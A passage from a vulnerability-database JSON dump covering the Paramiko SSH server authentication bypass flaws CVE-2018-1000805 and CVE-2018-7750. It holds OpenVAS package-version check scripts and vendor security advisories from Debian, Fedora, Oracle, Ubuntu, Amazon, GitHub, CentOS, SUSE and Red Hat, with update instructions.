7.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"CentOS7\")\n{\n\n if ((res = isrpmvuln(pkg:\"python-paramiko\", rpm:\"python-paramiko~2.1.1~9.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"python-paramiko-doc\", rpm:\"python-paramiko-doc~2.1.1~9.el7\", rls:\"CentOS7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-01-31T16:47:37", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the ", "modified": "2020-01-31T00:00:00", "published": "2019-02-05T00:00:00", "id": "OPENVAS:1361412562310852269", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852269", "type": "openvas", "title": "openSUSE: Security Advisory for python-paramiko (openSUSE-SU-2019:0129-1)", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of their respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852269\");\n script_version(\"2020-01-31T08:23:39+0000\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:23:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-02-05 04:05:33 +0100 (Tue, 05 Feb 2019)\");\n script_name(\"openSUSE: Security Advisory for python-paramiko (openSUSE-SU-2019:0129-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.0\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2019:0129-1\");\n script_xref(name:\"URL\", value:\"https://lists.opensuse.org/opensuse-security-announce/2019-02/msg00001.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python-paramiko'\n package(s) announced via the openSUSE-SU-2019:0129-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for python-paramiko to version 2.4.2 fixes the following\n issues:\n\n Security issue fixed:\n\n - CVE-2018-1000805: Fixed an authentication bypass in auth_handler.py\n (bsc#1111151)\n\n Non-security issue fixed:\n\n - Disable experimental gssapi support (bsc#1115769)\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.0:\n\n zypper in -t patch openSUSE-2019-129=1\");\n\n script_tag(name:\"affected\", value:\"python-paramiko on openSUSE Leap 15.0.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.0\") {\n if(!isnull(res = isrpmvuln(pkg:\"python-paramiko-doc\", rpm:\"python-paramiko-doc~2.4.2~lp150.2.3.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"python2-paramiko\", rpm:\"python2-paramiko~2.4.2~lp150.2.3.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"python3-paramiko\", rpm:\"python3-paramiko~2.4.2~lp150.2.3.1\", rls:\"openSUSELeap15.0\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2020-08-12T01:06:43", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805", "CVE-2018-7750"], "description": "Package : paramiko\nVersion : 1.15.1-1+deb8u1\nCVE ID : CVE-2018-7750 CVE-2018-1000805\n\n\nCVE-2018-1000805\n Fix to prevent malicious clients to trick the Paramiko server into\n thinking an unauthenticated client is authenticated.\n\nCVE-2018-7750\n Fix check whether authentication is completed before processing\n other requests. A customized SSH client can simply skip the\n authentication step.\n\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n1.15.1-1+deb8u1.\n\nWe recommend that you upgrade your paramiko packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "edition": 8, "modified": "2018-10-27T15:45:38", "published": "2018-10-27T15:45:38", "id": "DEBIAN:DLA-1556-1:77050", "href": "https://lists.debian.org/debian-lts-announce/2018/debian-lts-announce-201810/msg00018.html", "title": "[SECURITY] [DLA 1556-1] paramiko security update", "type": "debian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "fedora": [{"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805", "CVE-2018-7750"], "description": " Paramiko (a combination of the Esperanto words for \"paranoid\" and \"friend\") is a module for python 2.3 or greater that implements the SSH2 protocol for se cure (encrypted and authenticated) connections to remote machines. Unlike SSL (a ka TLS), the SSH2 protocol does not require hierarchical certificates signed b y a powerful central authority. You may know SSH2 as the protocol that replaced telnet and rsh for secure access to remote shells, but the protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel (this is how sftp works, for example). ", "modified": "2018-10-14T23:31:24", "published": "2018-10-14T23:31:24", "id": "FEDORA:0C5276075D81", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 27 Update: python-paramiko-2.3.3-1.fc27", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": " Paramiko (a combination of the Esperanto words for \"paranoid\" and \"friend\") is a module for python 2.3 or greater that implements the SSH2 protocol for se cure (encrypted and authenticated) connections to remote machines. Unlike SSL (a ka TLS), the SSH2 protocol does not require hierarchical certificates signed b y a powerful central authority. You may know SSH2 as the protocol that replaced telnet and rsh for secure access to remote shells, but the protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel (this is how sftp works, for example). ", "modified": "2018-10-19T16:08:56", "published": "2018-10-19T16:08:56", "id": "FEDORA:576E760DF393", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 28 Update: python-paramiko-2.4.2-1.fc28", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": " Paramiko (a combination of the Esperanto words for \"paranoid\" and \"friend\") is a module for python 2.3 or greater that implements the SSH2 protocol for se cure (encrypted and authenticated) connections to remote machines. Unlike SSL (a ka TLS), the SSH2 protocol does not require hierarchical certificates signed b y a powerful central authority. You may know SSH2 as the protocol that replaced telnet and rsh for secure access to remote shells, but the protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel (this is how sftp works, for example). ", "modified": "2018-10-30T17:44:00", "published": "2018-10-30T17:44:00", "id": "FEDORA:0BDE5630D665", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 29 Update: python-paramiko-2.4.2-1.fc29", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": " Paramiko (a combination of the Esperanto words for \"paranoid\" and \"friend\") is a module for python 2.3 or greater that implements the SSH2 protocol for se cure (encrypted and authenticated) connections to remote machines. Unlike SSL (a ka TLS), the SSH2 protocol does not require hierarchical certificates signed b y a powerful central authority. You may know SSH2 as the protocol that replaced telnet and rsh for secure access to remote shells, but the protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel (this is how sftp works, for example). ", "modified": "2018-04-01T03:30:49", "published": "2018-04-01T03:30:49", "id": "FEDORA:26150601DEF1", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 27 Update: python-paramiko-2.3.2-1.fc27", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": " Paramiko (a combination of the Esperanto words for \"paranoid\" and \"friend\") is a module for python 2.3 or greater that implements the SSH2 protocol for se cure (encrypted and authenticated) connections to remote machines. Unlike SSL (a ka TLS), the SSH2 protocol does not require hierarchical certificates signed b y a powerful central authority. You may know SSH2 as the protocol that replaced telnet and rsh for secure access to remote shells, but the protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel. (This is how sftp works, for example.) ", "modified": "2018-04-01T03:52:47", "published": "2018-04-01T03:52:47", "id": "FEDORA:3059C60C6170", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 26 Update: python-paramiko-2.2.3-1.fc26", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:54", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": " Paramiko (a combination of the Esperanto words for \"paranoid\" and \"friend\") is a module for python 2.3 or greater that implements the SSH2 protocol for se cure (encrypted and authenticated) connections to remote machines. Unlike SSL (a ka TLS), the SSH2 protocol does not require hierarchical certificates signed b y a powerful central authority. You may know SSH2 as the protocol that replaced telnet and rsh for secure access to remote shells, but the protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel (this is how sftp works, for example). ", "modified": "2018-03-30T13:35:13", "published": "2018-03-30T13:35:13", "id": "FEDORA:94A686078F58", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 28 Update: python-paramiko-2.4.1-1.fc28", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "oraclelinux": [{"lastseen": "2019-05-29T18:37:12", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "[1.7.5-5]\n- Split handler tables for server and client side\n- Fix CVE-2018-1000805\n- Resolves: rhbz#1637365", "edition": 3, "modified": "2018-10-30T00:00:00", "published": "2018-10-30T00:00:00", "id": "ELSA-2018-3406", "href": "http://linux.oracle.com/errata/ELSA-2018-3406.html", "title": "python-paramiko security update", "type": "oraclelinux", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:34:36", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "[2.1.1-9]\n- Fix a security flaw (CVE-2018-1000805) in Paramiko's server\n mode (does not effect client mode).\n Backported from 2.1.6\n Resolves rhbz#1637366", "edition": 4, "modified": "2018-11-07T00:00:00", "published": "2018-11-07T00:00:00", "id": "ELSA-2018-3347", "href": "http://linux.oracle.com/errata/ELSA-2018-3347.html", "title": "python-paramiko security update", "type": "oraclelinux", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:39:37", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "[1.7.5-4]\n- Fix and enable tests (%check).\n- Backport a change which makes tests exit with nonzero status when they fail.\n- Add a fix for upstream tests for CVE-2018-7750 (broken in previous).\n[1.7.5-3]\n- Fix a security flaw (CVE-2018-7750) in Paramiko's server mode\n (emphasis on **server** mode; this does **not** impact *client* use!)\n Backported from 1.10: https://gist.github.com/stevebeattie/0eb190004e10ba0926ad8782f89676ad\n Resolves #1557140", "edition": 4, "modified": "2018-04-12T00:00:00", "published": "2018-04-12T00:00:00", "id": "ELSA-2018-1124", "href": "http://linux.oracle.com/errata/ELSA-2018-1124.html", "title": "python-paramiko security update", "type": "oraclelinux", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntu": [{"lastseen": "2020-07-02T11:38:23", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "USN-3796-1 fixed a vulnerability in paramiko. This update provides \nthe corresponding update for Ubuntu 12.04 ESM.\n\nOriginal advisory details:\n\nDaniel Hoffman discovered that Paramiko incorrectly handled authentication \nwhen being used as a server. A remote attacker could use this issue to \nbypass authentication without any credentials.", "edition": 5, "modified": "2018-10-17T00:00:00", "published": "2018-10-17T00:00:00", "id": "USN-3796-2", "href": "https://ubuntu.com/security/notices/USN-3796-2", "title": "Paramiko vulnerability", "type": "ubuntu", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-07-02T11:39:08", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "Daniel Hoffman discovered that Paramiko incorrectly handled authentication \nwhen being used as a server. A remote attacker could use this issue to \nbypass authentication without any credentials.", "edition": 4, "modified": "2018-10-17T00:00:00", "published": "2018-10-17T00:00:00", "id": "USN-3796-1", "href": "https://ubuntu.com/security/notices/USN-3796-1", "title": "Paramiko vulnerability", "type": "ubuntu", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-07-09T00:34:14", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "USN-3796-1 fixed a vulnerability in Paramiko. This update provides the \ncorresponding update for Ubuntu 18.10.\n\nOriginal advisory details:\n\nDaniel Hoffman discovered that Paramiko incorrectly handled authentication \nwhen being used as a server. A remote attacker could use this issue to \nbypass authentication without any credentials.", "edition": 4, "modified": "2018-10-22T00:00:00", "published": "2018-10-22T00:00:00", "id": "USN-3796-3", "href": "https://ubuntu.com/security/notices/USN-3796-3", "title": "Paramiko vulnerability", "type": "ubuntu", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-07-02T11:45:20", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "Matthijs Kooijman discovered that Paramiko's SSH server implementation \ndid not properly require authentication before processing requests. An \nunauthenticated remote attacker could possibly use this to execute \narbitrary code.", "edition": 6, "modified": "2018-03-20T00:00:00", "published": "2018-03-20T00:00:00", "id": "USN-3603-1", "href": "https://ubuntu.com/security/notices/USN-3603-1", "title": "Paramiko vulnerability", "type": "ubuntu", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-07-02T11:33:53", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "USN-3603-1 fixed a vulnerability in Paramiko. This update provides \nthe corresponding update for Ubuntu 12.04 ESM.\n\nOriginal advisory details:\n\nMatthijs Kooijman discovered that Paramiko's SSH server implementation \ndid not properly require authentication before processing requests. An \nunauthenticated remote attacker could possibly use this to execute \narbitrary code.", "edition": 7, "modified": "2018-03-20T00:00:00", "published": "2018-03-20T00:00:00", "id": "USN-3603-2", "href": "https://ubuntu.com/security/notices/USN-3603-2", "title": "Paramiko vulnerability", "type": "ubuntu", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "amazon": [{"lastseen": "2020-11-10T12:37:01", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "**Issue Overview:**\n\nParamiko contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity. This issue does not affect instances where only the ssh client functionality of the paramiko library is used.([CVE-2018-1000805 __](<https://access.redhat.com/security/cve/CVE-2018-1000805>))\n\n \n**Affected Packages:** \n\n\npython-paramiko\n\n \n**Issue Correction:** \nRun _yum update python-paramiko_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n noarch: \n python27-paramiko-1.15.1-2.7.amzn1.noarch \n python26-paramiko-1.15.1-2.7.amzn1.noarch \n \n src: \n python-paramiko-1.15.1-2.7.amzn1.src \n \n \n", "edition": 5, "modified": "2018-10-23T18:43:00", "published": "2018-10-23T18:43:00", "id": "ALAS-2018-1096", "href": "https://alas.aws.amazon.com/ALAS-2018-1096.html", "title": "Critical: python-paramiko", "type": "amazon", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-11-10T12:35:13", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "**Issue Overview:**\n\nAuthentication bypass in transport.py \ntransport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step. ([CVE-2018-7750 __](<https://access.redhat.com/security/cve/CVE-2018-7750>) )\n\n \n**Affected Packages:** \n\n\npython-paramiko\n\n \n**Issue Correction:** \nRun _yum update python-paramiko_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n noarch: \n python26-paramiko-1.15.1-2.6.amzn1.noarch \n python27-paramiko-1.15.1-2.6.amzn1.noarch \n \n src: \n python-paramiko-1.15.1-2.6.amzn1.src \n \n \n", "edition": 4, "modified": "2018-04-05T16:41:00", "published": "2018-04-05T16:41:00", "id": "ALAS-2018-989", "href": "https://alas.aws.amazon.com/ALAS-2018-989.html", "title": "Critical: python-paramiko", "type": "amazon", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "github": [{"lastseen": "2020-03-10T23:26:11", "bulletinFamily": "software", "cvelist": ["CVE-2018-1000805"], "description": "Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity.", "edition": 2, "modified": "2019-07-03T21:02:03", "published": "2018-10-10T16:10:10", "id": "GHSA-F2J6-WRHH-V25M", "href": "https://github.com/advisories/GHSA-f2j6-wrhh-v25m", "title": "High severity vulnerability that affects paramiko", "type": "github", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-03-10T23:26:15", "bulletinFamily": "software", "cvelist": ["CVE-2018-7750"], "description": "transport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step.", "edition": 2, "modified": "2019-07-03T21:02:01", "published": "2018-07-12T20:29:30", "id": "GHSA-232R-66CG-79PX", "href": "https://github.com/advisories/GHSA-232r-66cg-79px", "title": "High severity vulnerability that affects paramiko", "type": "github", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "centos": [{"lastseen": "2020-12-08T03:33:14", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "**CentOS Errata and Security Advisory** CESA-2018:3406\n\n\nThe python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in auth_handler.py (CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2018-November/035114.html\n\n**Affected packages:**\npython-paramiko\n\n**Upstream details at:**\n", "edition": 5, "modified": "2018-11-05T18:49:55", "published": "2018-11-05T18:49:55", "id": "CESA-2018:3406", "href": "http://lists.centos.org/pipermail/centos-announce/2018-November/035114.html", "title": "python security update", "type": "centos", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-12-08T03:40:27", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "**CentOS Errata and Security Advisory** CESA-2018:3347\n\n\nThe python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in auth_handler.py (CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2018-December/035157.html\nhttp://lists.centos.org/pipermail/centos-cr-announce/2018-November/005758.html\n\n**Affected packages:**\npython-paramiko\npython-paramiko-doc\n\n**Upstream details at:**\n", "edition": 86, "modified": "2018-12-13T20:45:58", "published": "2018-11-20T23:42:33", "id": "CESA-2018:3347", "href": "http://lists.centos.org/pipermail/centos-cr-announce/2018-November/005758.html", "title": "python security update", "type": "centos", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-12-08T03:39:29", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "**CentOS Errata and Security Advisory** CESA-2018:1124\n\n\nThe python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in transport.py (CVE-2018-7750)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2018-May/034859.html\n\n**Affected packages:**\npython-paramiko\n\n**Upstream details at:**\n", "edition": 4, "modified": "2018-05-02T12:05:32", "published": "2018-05-02T12:05:32", "id": "CESA-2018:1124", "href": "http://lists.centos.org/pipermail/centos-announce/2018-May/034859.html", "title": "python security update", "type": "centos", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2019-02-04T18:08:53", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "This update for python-paramiko to version 2.4.2 fixes the following\n issues:\n\n Security issue fixed:\n\n - CVE-2018-1000805: Fixed an authentication bypass in auth_handler.py\n (bsc#1111151)\n\n Non-security issue fixed:\n\n - Disable experimental gssapi support (bsc#1115769)\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n", "edition": 1, "modified": "2019-02-04T15:09:30", "published": "2019-02-04T15:09:30", "id": "OPENSUSE-SU-2019:0129-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2019-02/msg00001.html", "title": "Security update for python-paramiko (important)", "type": "suse", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-03-29T20:47:25", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "This update for python-paramiko fixes the following issues:\n\n - CVE-2018-7750: Fixed transport.py in the SSH server implementation of\n Paramiko that does not properly check whether authentication is\n completed before processing other requests (bsc#1085276).\n\n", "edition": 1, "modified": "2018-03-29T18:08:31", "published": "2018-03-29T18:08:31", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-03/msg00071.html", "id": "SUSE-SU-2018:0844-1", "title": "Security update for python-paramiko (important)", "type": "suse", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-03-24T02:39:45", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "This update for python-paramiko fixes the following issues:\n\n - CVE-2018-7750: Fixed transport.py in the SSH server implementation of\n Paramiko that does not properly check whether authentication is\n completed before processing other requests (bsc#1085276).\n\n", "edition": 1, "modified": "2018-03-24T00:10:57", "published": "2018-03-24T00:10:57", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-03/msg00057.html", "id": "OPENSUSE-SU-2018:0799-1", "type": "suse", "title": "Security update for python-paramiko (important)", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-04-04T21:01:42", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "This update for python-paramiko fixes the following issues:\n\n - CVE-2018-7750: Fixed transport.py in the SSH server implementation of\n Paramiko that does not properly check whether authentication is\n completed before processing other requests (bsc#1085276).\n\n", "edition": 1, "modified": "2018-04-04T18:07:45", "published": "2018-04-04T18:07:45", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-04/msg00003.html", "id": "SUSE-SU-2018:0873-1", "type": "suse", "title": "Security update for python-paramiko (important)", "cvss": {"score": 0.0, "vector": "NONE"}}], "redhat": [{"lastseen": "2019-08-13T18:45:05", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "The python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in auth_handler.py (CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-10-30T19:08:51", "published": "2018-10-30T18:56:24", "id": "RHSA-2018:3406", "href": "https://access.redhat.com/errata/RHSA-2018:3406", "type": "redhat", "title": "(RHSA-2018:3406) Critical: python-paramiko security update", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:45:09", "bulletinFamily": "unix", "cvelist": ["CVE-2018-1000805"], "description": "The python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in auth_handler.py (CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-10-30T12:04:18", "published": "2018-10-30T11:48:42", "id": "RHSA-2018:3347", "href": "https://access.redhat.com/errata/RHSA-2018:3347", "type": "redhat", "title": "(RHSA-2018:3347) Critical: python-paramiko security update", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:45:50", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "The python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in transport.py (CVE-2018-7750)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.", "modified": "2018-06-07T18:22:29", "published": "2018-04-13T00:59:34", "id": "RHSA-2018:1124", "href": "https://access.redhat.com/errata/RHSA-2018:1124", "type": "redhat", "title": "(RHSA-2018:1124) Critical: python-paramiko security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:45:40", "bulletinFamily": "unix", "cvelist": ["CVE-2018-7750"], "description": "The python-paramiko package provides a Python module that implements the SSH2 protocol for encrypted and authenticated connections to remote machines. Unlike SSL, the SSH2 protocol does not require hierarchical certificates signed by a powerful central authority. The protocol also includes the ability to open arbitrary channels to remote services across an encrypted tunnel.\n\nSecurity Fix(es):\n\n* python-paramiko: Authentication bypass in 